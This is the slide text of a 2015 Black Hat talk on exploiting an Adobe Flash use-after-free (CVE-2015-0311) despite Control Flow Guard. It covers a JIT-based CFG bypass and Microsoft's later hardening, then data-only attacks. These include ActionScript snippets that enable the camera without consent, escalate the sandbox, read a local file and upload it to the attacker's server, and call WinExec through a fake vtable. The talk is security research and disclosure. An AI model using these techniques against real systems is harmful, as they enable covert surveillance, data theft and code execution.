CORE SECURITY

Exploiting Adobe Flash Player in the era of Control Flow Guard

Francisco Falcon (@fdfalcon)

Black Hat Europe 2015
November 12-13, 2015
About me
About me

• Exploit Writer for Core Security.

• From Argentina.

• Interested in the usual stuff: reverse engineering, vulnerability research, exploitation...
Agenda
Agenda

- Overview of Control Flow Guard.
- CVE-2015-0311: Flash Player *UncompressViaZlibVariant* UAF
- Leveraging Flash Player’s JIT compiler to bypass CFG
- How Microsoft hardened Flash Player’s JIT compiler
- Data-only attacks against Flash Player
  - Gaining unauthorized access to the camera & microphone
  - Gaining unauthorized read access to the local filesystem
  - Arbitrary code execution without shellcode nor ROP
- Demos
- Conclusions/Q&A
Overview of Control Flow Guard
Overview of CFG

- Control Flow Guard checks that the target address of an indirect call is one of the locations identified as “valid” at compile time.

- Compiler support: Visual Studio 2015

- OS support:
  - Windows 8.1 Update 3
  - Windows 10
Overview of CFG

- Windows 8 / 8.1 / 10: Flash Player is integrated into the OS.
- Compiled by Microsoft using CFG-aware Visual Studio 2015.
- Recommended readings:
29000+ guarded indirect calls in Flash Player
CVE-2015-0311 Overview
CVE-2015-0311 Overview

- Use-After-Free in Adobe Flash Player when decompressing a ByteArray with corrupted zlib data.

- Buggy function is `UncompressViaZlibVariant()` (core/ByteArrayGlue.cpp)

- Buggy function frees a buffer while leaving a reference to it in the `ApplicationDomain.currentDomain.domainMemory` global property.
CVE-2015-0311 Overview

- Memory hole left by the freed buffer can be reclaimed to allocate another object.
- We end up allocating a `Vector` object in that memory hole.
- `domainMemory` is supposed to reference an `uint8_t[]` array.
- Instead it’s pointing to a `Vector` object.
CVE-2015-0311 Overview

Expected state

```
uint8_t* ByteArray::Buffer->array
```

```
m_globalMemoryBase
```

```
m_globalMemorySize = 0x1C32
```
CVE-2015-0311 Overview

Use-After-Free

```
m_globalMemoryBase
```

```
m_globalMemorySize = 0x1C32
```

```
Vector.<Object>
```

```
.vtable
.length
.elements[ ]
```

Vector metadata
Exploitation approach **before** CFG (e.g. Windows 7):

- Overwrite the *length* of the Vector with 0xffffffff → read from/write to any memory address
- overwrite *vtable* field of the **Vector** object with address of ROP chain
- call *the_vector.toString()* → start ROP chain!
Exploitation approach after CFG (e.g. Windows 8.1 Update 3):

- Overwrite the length of the Vector with 0xffffffff → read from/write to any memory address
- overwrite vtable field of the Vector object with address of ROP chain
- `call the_vector.toString()` → attempt to hijack execution flow

is detected, application exits before gaining code execution
Before...

```
and   cl, 0FDh
or    cl, 1
mov   [eax], cl
mov   eax, [esi]
mov   edx, [eax+4] ; eax == overwritten Vector vtable (address of ROP chain)
push  edi
mov   ecx, esi
call  edx ; ** start our ROP chain!
test  al, al
jz    short loc_10611F5B
```
... and after

```assembly
and   al, 0FDh
or    al, 1
mov   [edx], al
mov   eax, [ebx]
push  edi
mov   esi, [eax+4] ; eax == overwritten Vector vtable
mov   ecx, esi
call  ds:[___guard_check_icall_fptr] ; will detect the fake vtable and exit
mov   ecx, ebx
call  esi ; call the function pointer if the previous check went fine
test  al, al
jz    short loc_108F03D1

___guard_check_icall_fptr points to ntdll!LdrpValidateUserCallTarget
```
Control flow hijacking attempt detected!

Int 29h: *nt!_KiRaiseSecurityCheckFailure* [http://www.alex-ionescu.com/?p=69]
Approaches
Approaches

- Overwrite a return address on the stack.
- Take advantage of non-CFG module in the same process.
- Find indirect calls that weren’t guarded for some reason.
So, ideally we want ...

- An Indirect call...
- ... that isn’t protected by CFG
- ... that can be explicitly triggered in a straightforward way
- ... which has a CPU register pointing nearby our data when the controlled function pointer is called.
Approaches

• Control Flow Guard protects indirect calls that could be identified at compile time.

• Are there any indirect calls in Flash Player which are not generated at compile time?
Approaches

• Control Flow Guard protects indirect calls that could be identified at compile time.

• Are there any indirect calls in Flash Player which are not generated at compile time?
  
  • → Yes, there are!
• Flash Player JIT compiler to the rescue!

• **JIT-generated code does contain indirect calls.**

• Since this code is generated at **runtime**, it doesn’t benefit from Control Flow Guard.
Flash JIT compiler has been proven helpful for exploitation in the past:

- “Pointer inference and JIT spraying” by Dion Blazakis (2010)
- “Flash JIT - Spraying info leak gadgets” by Fermín Serna (2013)
Leveraging the JIT compiler to bypass CFG

- ByteArray object containing our ROP chain
- ByteArray object + 0x8 = pointer to \textit{VTable} object [\texttt{core/VTable.h}]

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>$ == &gt;</td>
<td>080EE348</td>
<td>60798978 OFFSET <a href="">Flash::ByteArray_vtable</a></td>
</tr>
<tr>
<td>$+4</td>
<td>080EE34C</td>
<td>08000002</td>
</tr>
<tr>
<td>$+8</td>
<td>080EE350</td>
<td>08666DD0 &lt;VTable_object&gt;</td>
</tr>
<tr>
<td>$+C</td>
<td>080EE354</td>
<td>0862E6E8</td>
</tr>
<tr>
<td>$+10</td>
<td>080EE358</td>
<td>080EE360</td>
</tr>
<tr>
<td>$+14</td>
<td>080EE35C</td>
<td>00000040</td>
</tr>
<tr>
<td>$+18</td>
<td>080EE360</td>
<td>080E8954 Flash.60798954</td>
</tr>
<tr>
<td>$+1C</td>
<td>080EE364</td>
<td>080E8960 Flash.60798960</td>
</tr>
<tr>
<td>$+20</td>
<td>080EE368</td>
<td>080E895C Flash.6079895C</td>
</tr>
<tr>
<td>$+24</td>
<td>080EE36C</td>
<td>080E8970 Flash.60798970</td>
</tr>
<tr>
<td>$+28</td>
<td>080EE370</td>
<td>080E6080</td>
</tr>
<tr>
<td>$+2C</td>
<td>080EE374</td>
<td>07F63000</td>
</tr>
<tr>
<td>$+30</td>
<td>080EE378</td>
<td>080F6958</td>
</tr>
<tr>
<td>$+34</td>
<td>080EE37C</td>
<td>08000000</td>
</tr>
<tr>
<td>$+38</td>
<td>080EE380</td>
<td>08000000</td>
</tr>
<tr>
<td>$+3C</td>
<td>080EE384</td>
<td>08103548 <a href="">ByteArray::Buffer_object</a></td>
</tr>
<tr>
<td>$+40</td>
<td>080EE388</td>
<td>00000000</td>
</tr>
<tr>
<td>$+44</td>
<td>080EE38C</td>
<td>00000000</td>
</tr>
<tr>
<td>$+48</td>
<td>080EE390</td>
<td>00000000</td>
</tr>
<tr>
<td>$+4C</td>
<td>080EE394</td>
<td>080E9960 Flash.60798960</td>
</tr>
</tbody>
</table>
Leveraging the JIT compiler to bypass CFG

- VTable object contains lots of pointers to `MethodEnv` objects [core/MethodEnv.h]:

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>$ == $08666DD0 &lt;VTable_object&gt;</td>
<td>607A9444</td>
<td>OFFSET &lt;Flash.VTable_vtable&gt;</td>
</tr>
<tr>
<td>$+4</td>
<td>08666DD4</td>
<td></td>
</tr>
<tr>
<td>$+8</td>
<td>08666DD8</td>
<td>080E6080</td>
</tr>
<tr>
<td>$+C</td>
<td>08666DDC</td>
<td>086B7CA0</td>
</tr>
<tr>
<td>$+10</td>
<td>08666DE0</td>
<td>08566118</td>
</tr>
<tr>
<td>$+14</td>
<td>08666DE4</td>
<td>00000000</td>
</tr>
<tr>
<td>$+18</td>
<td>08666DE8</td>
<td>08014430</td>
</tr>
<tr>
<td>$+1C</td>
<td>08666DEC</td>
<td></td>
</tr>
<tr>
<td>$+20</td>
<td>08666DF0</td>
<td>601B2CA0</td>
</tr>
<tr>
<td>$+24</td>
<td>08666DF4</td>
<td>00000001</td>
</tr>
<tr>
<td>$+28</td>
<td>08666DF8</td>
<td>08675450</td>
</tr>
<tr>
<td>$+2C</td>
<td>08666DFC</td>
<td>08675450</td>
</tr>
<tr>
<td>$+30</td>
<td>08666E00</td>
<td>08675450</td>
</tr>
<tr>
<td>$+34</td>
<td>08666E04</td>
<td>08675450</td>
</tr>
<tr>
<td>$+38</td>
<td>08666E08</td>
<td>08675450</td>
</tr>
<tr>
<td>$+3C</td>
<td>08666E0C</td>
<td>08675450</td>
</tr>
<tr>
<td>$+40</td>
<td>08666E10</td>
<td>08675450</td>
</tr>
<tr>
<td>$+44</td>
<td>08666E14</td>
<td>08675450</td>
</tr>
<tr>
<td>$+48</td>
<td>08666E18</td>
<td>086B7CB8</td>
</tr>
<tr>
<td>$+4C</td>
<td>08666E1C</td>
<td>086B7CD0</td>
</tr>
</tbody>
</table>
Leveraging the JIT compiler to bypass CFG

- This is the *MethodEnv* object stored at *VTable_object* + 0xD4:

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>$ == &gt; 0872D040 &lt;MethodEnv_object&gt;</td>
<td>607A9114</td>
<td>OFFSET &lt;Flash.MethodEnv_vtable&gt;</td>
</tr>
<tr>
<td>$+4 0872D044</td>
<td>601C0A70</td>
<td>Flash.601C0A70</td>
</tr>
<tr>
<td>$+8 0872D048</td>
<td>6004D270</td>
<td></td>
</tr>
<tr>
<td>$+C 0872D04C</td>
<td>6072C0E0</td>
<td></td>
</tr>
<tr>
<td>$+10 0872D050</td>
<td>00000000</td>
<td></td>
</tr>
<tr>
<td>$+14 0872D054</td>
<td>00000000</td>
<td></td>
</tr>
</tbody>
</table>

- Second DWORD is a function pointer (0x601C0A70).
- This function pointer is called through an **UNGUARDED INDIRECT CALL** from JIT-generated code!
Leveraging the JIT compiler to bypass CFG

**UNGUARDED INDIRECT CALL** from JIT-generated code:

<table>
<thead>
<tr>
<th>Address</th>
<th>Machine Code</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0864D88C</td>
<td>8B01 MOV EAX,DWORD PTR DS:[ECX]</td>
<td>EAX = ByteArray object</td>
</tr>
<tr>
<td>0864D88E</td>
<td>8B50 08 MOV EDX,DWORD PTR DS:[EAX+8]</td>
<td>EDX = VTable object</td>
</tr>
<tr>
<td>0864D891</td>
<td>8B8A D4000000 MOV ECX,DWORD PTR DS:[EDX+D4]</td>
<td>ECX = MethodEnv object from VTable_object + 0xD4</td>
</tr>
<tr>
<td>0864D897</td>
<td>8D55 FC LEA EDX,DWORD PTR SS:[EBP-4]</td>
<td></td>
</tr>
<tr>
<td>0864D8A0</td>
<td>8945 FC MOV DWORD PTR SS:[EBP-4],EAX</td>
<td></td>
</tr>
<tr>
<td>0864D8A0</td>
<td>8B41 04 MOV EAX,DWORD PTR DS:[ECX+4]</td>
<td></td>
</tr>
<tr>
<td>0864D8A0</td>
<td>03EC 04 SUB ESP,4</td>
<td></td>
</tr>
<tr>
<td>0864D8A3</td>
<td>52 PUSH EDX</td>
<td></td>
</tr>
<tr>
<td>0864D8A4</td>
<td>6A 00 PUSH 0</td>
<td></td>
</tr>
<tr>
<td>0864D8A6</td>
<td>51 PUSH ECX</td>
<td></td>
</tr>
<tr>
<td>0864D8A7</td>
<td>FFD0 CALL EAX</td>
<td>call the function pointer! No CFG here!</td>
</tr>
<tr>
<td>0864D8A9</td>
<td>83C4 10 ADD ESP,10</td>
<td></td>
</tr>
<tr>
<td>0864D8AC</td>
<td>8B4D F0 MOV ECX,DWORD PTR SS:[EBP-10]</td>
<td></td>
</tr>
<tr>
<td>0864D8AF</td>
<td>899D 50406980 MOV DWORD PTR DS:[8694058],ECX</td>
<td></td>
</tr>
<tr>
<td>0864D8B5</td>
<td>8BE5 MOV ESP,EBP</td>
<td></td>
</tr>
<tr>
<td>0864D8B7</td>
<td>5D POP EBP</td>
<td></td>
</tr>
<tr>
<td>0864D8B8</td>
<td>C3 RETN</td>
<td></td>
</tr>
</tbody>
</table>

Can be reliably triggered by calling the `toString()` method on the **ByteArray object** containing our ROP chain.
Exploitation

• We know how to easily trigger an indirect call that isn’t guarded by CFG.

• We need to put a pointer to a fake *MethodEnv* object at *VTable_object + 0xD4*.

• Additional benefit: we get ECX to point to our ROP chain at the moment the unguarded CALL EAX is executed → easy to pivot the stack
Expected state
Exploitation

Overwriting `VTable_object + 0xd4` with a pointer to the fake `MethodEnv` object (ROP chain) from ActionScript:

```javascript
var vtable_object:uint = read_dword(bytarray_object + 8);
var target_address:uint = vtable_object + 0xd4;
/* 0x28: offset of the first element within the Vector object */
var idx:uint = (target_address - (address_of_vector + 0x28)) / 4;
this.the_vector[idx] = address_of_rop_chain >> 3;
```

(address_of_rop_chain is shifted 3 times to the right because it has type `uint`, and AVM stores `uint` values shifted 3 times to the left and OR’ed with 6 [Integer tag])
Finally, we call the `toString()` method on the `ByteArray` object (which at this point was already stored at `this.the_vector[0]` in order to leak its address)

```javascript
/*
Call toString() on the ByteArray object. This will start our ROP chain
*/
new Number(this.the_vector[0].toString());
```
Current status

• Microsoft killed this CFG bypass technique in Flash 18.0.0.194 (KB3074219, June 2015)

• Google has hardened the Vector object in Flash 18.0.0.209 (July 2015); additional improvements in Flash 18.0.0.232 (August 2015).
How Microsoft hardened Flash Player’s JIT compiler
JIT hardening

• Main JIT hardening measures:

  • When JIT code is the source of an indirect call → JIT compiler now emits a call to the CFG validation function before indirect calls.

  • When JIT code is the destination of an indirect call → Uses new memory management flags (PAGE_TARGETS_INVALID, PAGE_TARGETS_NO_UPDATE) and functions (SetProcessValidCallTargets).
No more unguarded indirect calls in JIT code

<table>
<thead>
<tr>
<th>Address</th>
<th>Opcode</th>
<th>Machine Instruction</th>
</tr>
</thead>
<tbody>
<tr>
<td>0DB3EE83</td>
<td>8B51 0C</td>
<td>MOV EDX, DWORD PTR DS:[ECX+C]</td>
</tr>
<tr>
<td>0DB3EE86</td>
<td>8B4A 04</td>
<td>MOV ECX, DWORD PTR DS:[EDX+4]</td>
</tr>
<tr>
<td>0DB3EE89</td>
<td>8B51 0C</td>
<td>MOV EDX, DWORD PTR DS:[ECX+C]</td>
</tr>
<tr>
<td>0DB3EE8C</td>
<td>8B4A 08</td>
<td>MOV ECX, DWORD PTR DS:[EDX+8]</td>
</tr>
<tr>
<td>0DB3EE8F</td>
<td>894D E8</td>
<td>MOV DWORD PTR SS:[EBP-18], ECX</td>
</tr>
<tr>
<td>0DB3EE92</td>
<td>8945 FC</td>
<td>MOV DWORD PTR SS:[EBP-4], EAX</td>
</tr>
<tr>
<td>0DB3EE95</td>
<td>8B41 04</td>
<td>MOV EAX, DWORD PTR DS:[ECX+4]</td>
</tr>
<tr>
<td>0DB3EE98</td>
<td>8945 EC</td>
<td>MOV DWORD PTR SS:[EBP-14], EAX</td>
</tr>
<tr>
<td>0DB3EE9B</td>
<td>8B4D EC</td>
<td>MOV ECX, DWORD PTR SS:[EBP-14]</td>
</tr>
<tr>
<td>0DB3EE9E</td>
<td>E8 DDA6069</td>
<td>CALL &lt;ntdll.LdrpValidateUserCallTarget&gt; CFG check</td>
</tr>
<tr>
<td>0DB3EA3</td>
<td>8D55 FC</td>
<td>LEA EDX, DWORD PTR SS:[EBP-4]</td>
</tr>
<tr>
<td>0DB3EA6</td>
<td>8B4D E8</td>
<td>MOV ECX, DWORD PTR SS:[EBP-18]</td>
</tr>
<tr>
<td>0DB3EA9</td>
<td>8B45 EC</td>
<td>MOV EAX, DWORD PTR SS:[EBP-14]</td>
</tr>
<tr>
<td>0DB3EAC</td>
<td>83EC 04</td>
<td>SUB ESP, 4</td>
</tr>
<tr>
<td>0DB3EAF</td>
<td>52</td>
<td>PUSH EDX</td>
</tr>
<tr>
<td>0DB3EB0</td>
<td>6A 00</td>
<td>PUSH 0</td>
</tr>
<tr>
<td>0DB3EB2</td>
<td>51</td>
<td>PUSH ECX</td>
</tr>
<tr>
<td>0DB3EB3</td>
<td>FFD0</td>
<td>CALL EAX</td>
</tr>
<tr>
<td>0DB3EB5</td>
<td>83C4 10</td>
<td>ADD ESP, 10</td>
</tr>
<tr>
<td>0DB3EB8</td>
<td>B8 04000000</td>
<td>MOV EAX, 4</td>
</tr>
<tr>
<td>0DB3EBD</td>
<td>8B4D F0</td>
<td>MOV ECX, DWORD PTR SS:[EBP-10]</td>
</tr>
<tr>
<td>0DB3EC0</td>
<td>89D0 50801D15</td>
<td>MOV DWORD PTR DS:[151D8050], ECX</td>
</tr>
<tr>
<td>0DB3EC6</td>
<td>8BE5</td>
<td>MOV ESP, EBP</td>
</tr>
<tr>
<td>0DB3EC8</td>
<td>5D</td>
<td>POP EBP</td>
</tr>
<tr>
<td>0DB3EC9</td>
<td>C3</td>
<td>RETN</td>
</tr>
<tr>
<td>0DB3EECA</td>
<td>CC</td>
<td>INT3</td>
</tr>
</tbody>
</table>

EAX = function pointer to be called

function pointer is actually called
JIT hardening

From the “Memory Protection Constants” article in MSDN:

• Default behavior for executable pages allocated via VirtualAlloc is to mark all locations in that memory region as valid call targets for CFG.

• Default behavior for VirtualProtect, when changing protection to executable, is to mark all locations in that memory region as valid call targets for CFG.

• Applies to PAGE_EXECUTE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_EXECUTE_WRITECOPY permissions.
JIT hardening

• VirtualAlloc(..., PAGE_EXECUTE_*, ...) → all locations within that region are valid call targets for CFG.
• VirtualProtect(..., PAGE_EXECUTE_*, ...) → all locations within that region are valid call targets for CFG.

• Looks like a decision to avoid breaking non CFG-aware JIT compilers.
JIT hardening

- Non CFG-aware JIT compilers pseudo-code:
  - VirtualAlloc(..., PAGE_READWRITE, ...)
  - Write code to that memory region
  - VirtualProtect(..., PAGE_EXECUTE_READ, ...)
  - Call JIT’ed code
JIT hardening

- Windows 10 introduced two new memory protection constants for VirtualAlloc/VirtualProtect.

- PAGE_TARGETS_INVALID (0x40000000)
- PAGE_TARGETS_NO_UPDATE (0x40000000)

JIT hardening

- **PAGE_TARGETS_INVALID (to be used with VirtualAlloc):** Sets all locations in the pages as invalid targets for CFG. Used along with any execute page protection. Any indirect call to locations in those pages will fail CFG checks.
JIT hardening

- **PAGE_TARGETS_NO_UPDATE (to be used with VirtualProtect):** Pages in the region will not have their CFG information updated while the protection changes. For example, if the pages in the region were allocated using PAGE_TARGETS_INVALID, then the invalid information will be maintained while the page protection changes. This flag is only valid when the protection changes to an executable type (PAGE_EXECUTE_*).
JIT hardening

SetProcessValidCallTargets

Provides CFG with a list of valid indirect call targets and specifies whether they should be marked valid or not. The valid call target information is provided as a list of offsets relative to a virtual memory range (start and size of the range).

JIT hardening

Syntax

```c++
WINAPI SetProcessValidCallTargets(
    _In_    HANDLE     hProcess,
    _In_    PVOID      VirtualAddress,
    _In_    SIZE_T     RegionSize,
    _In_    ULONG      NumberOfOffsets,
    _Inout_ PCFG_CALL_TARGET_INFO OffsetInformation
);
```

Parameters

*hProcess [in]*
The handle to the target process.

*VirtualAddress [in]*
The start of the virtual memory region whose call targets are being marked valid.

*RegionSize [in]*
The size of the virtual memory region.

*NumberOfOffsets [in]*
The number of offsets relative to the virtual memory ranges.

*OffsetInformation [in, out]*
A list of offsets and flags relative to the virtual memory ranges.
FARPROC SetProcessValidCallTargets_GetProcAddress()
{
    FARPROC result; // eax@1
    HMODULE hMod; // eax@4
    int (*fptr)(); // esi@4
    DWORD f10ldProtect; // [sp+0h] [bp-8h]@2

    result = (FARPROC)is_spvct_resolved();
    if ( !result )
    {
        result = (FARPROC)VirtualProtect(&resolved_spvct_api, 4u, PAGE_READWRITE, &f10ldProtect);
        if ( result )
        {
            resolved_spvct_api = 1;
            result = (FARPROC)VirtualProtect(&resolved_spvct_api, 4u, f10ldProtect, &f10ldProtect);
            if ( result )
            {
                hMod = GetModuleHandleW(L"api-ms-win-core-memory-11-1-3.dll");
                result = GetProcAddress(hMod, "SetProcessValidCallTargets");
                fptr = (int (*)())result;
                if ( result )
                {
                    result = (FARPROC)VirtualProtect(&SetProcessValidCallTargets_fptr, 4u, PAGE_READWRITE, &f10ldProtect);
                    if ( result )
                    {
                        SetProcessValidCallTargets_fptr = fptr;
                        result = (FARPROC)VirtualProtect(&SetProcessValidCallTargets_fptr, 4u, f10ldProtect, &f10ldProtect);
                        if ( result )
                        {
                            result = (FARPROC)VirtualProtect(&dword_11121BB8, 4u, PAGE_READWRITE, &f10ldProtect);
                            if ( result )
                            {
                                dword_11121BB8 = 1;
                                result = (FARPROC)VirtualProtect(&dword_11121BB8, 4u, f10ldProtect, &f10ldProtect);
                            }
                        }
                    }
                }
            }
        }
    }
}
JIT hardening

- CFG-aware JIT compilers (e.g. Flash on Windows 10) pseudo-code:
  - VirtualAlloc(..., PAGE_READWRITE, ...)
  - Write code to that memory region
  - VirtualProtect(PAGE_EXECUTE_READ|PAGE_TARGETS_NO_UPDATE)
  - SetProcessValidCallTargets()
  - Call JIT’ed code
; Attributes: bp-based frame

; int __cdecl add_CFG_entry(LPCVOID lpBaseAddress, SIZE_T RegionSize, PVOID newFuncAddr)
add_CFG_entry proc near

VirtualAddress= dword ptr -30h
new_target_addr= dword ptr -2Ch
Buffer= _MEMORY_BASIC_INFORMATION ptr -28h
OffsetInformation= CFG_CALL_TARGET_INFO ptr -0Ch
var_4= dword ptr -4
lpAddress= dword ptr 8
RegionSize= dword ptr 0Ch
newFuncAddr= dword ptr 10h

push ebp
mov ebp, esp
sub esp, 30h
mov eax, ____security_cookie
xor eax, ebp
mov [ebp+var_4], eax
mov eax, [ebp+newFuncAddr]
mov [ebp+new_target_addr], eax
mov eax, ds:resolved_spvct_api
push ebx
mov ebx, [ebp+lpAddress]
Test eax, eax
jz short loc_108989CC
108989A5  loc_108989A5: ; offset = newFuncAddr - baseAddr
108989A5  sub    edx, ecx
108989A7  mov    [ebp+OffsetInformation.Flags], 1
108989AE  mov    [ebp+OffsetInformation.Offset], edx
108989B1  call   ds:GetCurrentProcess
108989B7  mov    ecx, ds:SetProcessValidCallTargets_fptr
108989BD  lea    edx, [ebp+OffsetInformation]
108989C0  push   edx       ; OffsetInformation
108989C1  push   1         ; NumberOfOffsets
108989C3  push   esi       ; RegionSize
108989C4  push   [ebp+VirtualAddress] ; VirtualAddress
108989C7  push   eax       ; hProcess
108989C8  call   ecx ; _SetProcessValidCallTargets
108989CA  pop    esi
108989CB  pop    edi
Alternative payloads
What if hijacking the execution flow of the program becomes really, really hard?
Data-only attacks

- Data-only attacks to the rescue!
- Forget about gaining execution by injecting native shellcode or using ROP; let’s hack the vulnerable software by modifying its internal state instead!
Data-only attacks: related work

- “Easy local Windows Kernel exploitation” (César Cerrudo, Black Hat 2012)

- “Write once, pwn anywhere” (a.k.a. Vital Point Strike, tombkeeper, Black Hat 2014)

- “Data-only Pwning Microsoft Windows Kernel: Exploitation of Kernel Pool Overflows on Microsoft Windows 8.1” (Nikita Tarakanov, Black Hat 2014)
Data-only attacks

Data-only payloads to be discussed in this section:

• Gaining access to the camera and microphone without user authorization.

• Escalating the sandbox under which the SWF file is loaded: from the restricted *REMOTE* sandbox to the privileged *LOCAL TRUSTED* sandbox.

• Executing arbitrary commands without code injection or ROP.
The SecuritySettings object

- Flash Player holds a **SecuritySettings** object in heap memory

- Some interesting fields:
  - SecuritySettings_object + 0x4 (size:4): **sandboxType**
  - SecuritySettings_object + 0x49 (size:1): **is_camera_activated**

- Although located on the heap, this **SecuritySettings** object can be easily found by using a global (static) variable as the starting point 😊
The SecuritySettings object

Locating the *SecuritySettings* object in memory:

1. Find this global variable in Flash.ocx (named `global_status` by me):

```
103937D3 mov    esi, [ebp+pt.x]
103937D6 push   7F00h ; IpCursorName
103937D8 push   0 ; hInstance
103937DA mov    [ebx+384h], esi
103937DC mov    [ebx+388h], edi
103937DE call   ds:LoadCursorW
103937F0 push   eax ; hCursor
103937F2 call   ds:SetCursor
103937F4 call   get_global_status_ptr
103937F6 mov    ecx, eax
103937F8 call   is_immersive_process
103937FA test   al, al
103937FB jz     short loc_103937DD
```
The SecuritySettings object

Locating the **SecuritySettings** object in memory:

2. Follow some pointers...

   *global_status* →

   + 0x0 →
   + 0x78 →
   + 0x30 →
   + 0x9C → **SecuritySettings object**!

   [This chain of pointers may vary across Flash versions, operating systems (Win 8.1 vs 10) and architecture (32-bit vs 64-bit)]
Gaining (unauthorized) access to the camera & mic
Gaining (unauthorized) access to the camera & mic

- When a SWF Flash file tries to access the camera or microphone, the user is prompted with this dialog:
Gaining (unauthorized) access to the camera & mic

From the `flash.media.Camera` ActionScript class:

```plaintext
muted property
muted:Boolean [read-only]

Language Version: ActionScript 3.0
Runtime Versions: AIR 1.0, Flash Player 9

A Boolean value indicating whether the user has denied access to the camera (true) or allowed access (false) in the Flash Player Privacy dialog box. When this value changes, the statusEvent is dispatched.

Implementation

public function get muted():Boolean
```
Gaining (unauthorized) access to the camera & mic
Gaining (unauthorized) access to the camera & mic

Steps to activate the camera **without user authorization:**

1. Find the `SecuritySettings` object in memory.
2. Set the byte at `SecuritySettings_object + 0x49` to **1**!

Activating the camera also grants access to the microphone 😊
Gaining (unauthorized) access to the camera & mic

Activating the camera from ActionScript code:

```java
/* Get the global_status global variable */
var global_status:uint = flash_base_addr + 0x100B6C8;
/* Follow some pointers... */
var pointer:uint = read_dword(global_status);
pointer = read_dword(pointer + 0x78);
pointer = read_dword(pointer + 0x30);
pointer = read_dword(pointer + 0x9c);
pointer += 0x48;
var avalue:uint = read_dword(pointer);
/* Set the byte 0x49 to 1 to activate the camera! */
avalue |= 0x00000100;
write_dword(pointer, avalue);
```
Gaining (unauthorized) access to the camera & mic

Capture a frame from the camera and upload it to our server!

```javascript
/* Capture a frame from the camera */
var imgBD:BitmapData = new BitmapData(this.cam.width, this.cam.height);
this.cam.drawToBitmapData(imgBD);

/* Encode it as JPEG */
imgBD.encode(new Rectangle(0,0,this.cam.width, this.cam.height),
    new JPEGEncoderOptions(), byte_array);

/* Upload the image to our server! */
var sendHeader:URLRequestHeader = new URLRequestHeader("Content-type",
    "application/octet-stream");
var sendReq:URLRequest = new URLRequest("snapshot.php");
sendReq.setRequestHeader.push(sendHeader);
sendReq.method = URLRequestMethod.POST;
sendReq.data = byte_array;

var sendLoader:URLLoader;
sendLoader = new URLLoader();
sendLoader.addEventListener(Event.COMPLETE, imageSentHandler);
sendLoader.load(sendReq);
```
From Remote sandbox to Local Trusted sandbox
Flash Player loads SWF files into different sandboxes according to their origin:

- **Local-trusted sandbox**
- **Local-with-network sandbox**
- **Local-with-filesystem sandbox**
- **Remote sandbox**

More privileged

Less privileged
From Remote sandbox to Local Trusted sandbox

Current sandbox can be queried via the `flash.system.Security.sandboxType` property:
From Remote sandbox to Local Trusted sandbox

- The current sandbox is held in a field of the same `SecuritySettings` object shown before.

- `sandboxType = 0`: Remote
- `sandboxType = 1`: Local-with-filesystem
- `sandboxType = 2`: Local-with-network
- `sandboxType = 3`: Local-trusted
From Remote sandbox to Local Trusted sandbox

- The current sandbox is held in a field of the same `SecuritySettings` object shown before.

- Moving from the limited **Remote** sandbox to the privileged **Local Trusted** sandbox is as simple as this:
  
  **1.** Find the `SecuritySettings` object in memory.
  
  **2.** Set the dword at `SecuritySettings_object + 0x4` to **3**!
From Remote sandbox to Local Trusted sandbox

Moving from the limited **Remote** sandbox to the privileged **Local Trusted** sandbox from ActionScript code:

```javascript
/* Get the global_status global variable */
var global_status:uint = flash_base_addr + 0x100B6C8;
/* Get the SecuritySettings object */
var pointer:uint = read_dword(global_status);
pointer = read_dword(pointer + 0x78);
pointer = read_dword(pointer + 0x30);
pointer = read_dword(pointer + 0x9C);
/* Set the sandboxType field to 3 (Local-trusted sandbox) */
write_dword(pointer + 4, 3);
```
From Remote sandbox to Local Trusted sandbox

- Escalating to the **Local Trusted** sandbox grants our SWF file access to both local files and the network.

- So we can exfiltrate arbitrary files through Flash!
From Remote sandbox to Local Trusted sandbox

Reading a local file:

```javascript
/* Read an arbitrary local file */
local_file_url = "file:///C:/Users/Francisco/Documents/secret.docx";
var myLoader:URLLoader = new URLLoader();
myLoader.dataFormat = URLLoaderDataFormat.BINARY;
myLoader.addEventListener(Event.COMPLETE, localLoadComplete);
myLoader.load(new URLRequest(local_file_url));

private function localLoadComplete(evt:Event):void {
    this.exfiltrate_file_contents(evt.target.data as ByteArray);
}
```
From Remote sandbox to Local Trusted sandbox

Uploading the contents of the local file to our server:

```javascript
private function exfiltrate_file_contents(local_file_data:ByteArray):void{
    var sendHeader:URLRequestHeader = new URLRequestHeader(
        "Content-type",
        "application/octet-stream");
    var sendReq:URLRequest = new URLRequest("stealfile.php");
    sendReq.setRequestHeader(sendHeader);
    sendReq.method = URLRequestMethod.POST;
    sendReq.data = local_file_data;

    var sendLoader:URLLoader;
    sendLoader = new URLLoader();
    sendLoader.addEventListener(Event.COMPLETE, FileDataSentHandler);
    sendLoader.load(sendReq);
}
```
Executing commands without shellcode nor ROP
Executing commands without shellcode nor ROP

- Control Flow Guard checks that the target address of an indirect call is one of the locations identified as *valid*.

- It is possible to abuse legit, “safe” locations to do something useful from an attacker’s perspective...

- ...for example, to execute arbitrary commands without even injecting code nor using ROP.

- Technique overlapped with **Yuki Chen**, who presented it first at the SyScan 2015 conference.
Executing commands without shellcode nor ROP

- The `WinExec` function from the `kernel32.dll` library is recognized as a **valid** destination for indirect calls at compile time.

- Nothing stops us from replacing the vtable of an object with a fake vtable containing a pointer to `kernel32!WinExec`, since this function is a totally legit destination for indirect calls.

- If we are also able to control/overwrite the first argument that is passed to the virtual method being invoked, that means that we can do `WinExec("some_program.exe")`!
Executing commands without shellcode nor ROP

• When calling the `toString()` method on a `Vector` object, the 2nd function pointer of its vtable is called, receiving the dword stored at `Vector_object + 0x8` as its first argument.

• We can use our write primitive to overwrite the memory at the address pointed by `Vector_object + 0x8` with a string of the command we want to execute (e.g. “calc”).
Executing commands without shellcode nor ROP

- We use our read primitive to leak the address of the `kernel32!WinExec` function. We store this address at our `fake_vtable + 0x4`.

- Then we use our write primitive to replace the vtable pointer of the `Vector` object with the address of our fake vtable.

- Finally, we invoke the `toString()` method of the crafted `Vector` object, which results in a totally legit call to `WinExec(“calc”)`. We get code execution without even having injected native shellcode nor using ROP!
Original state
Crafted state
Demo Time!
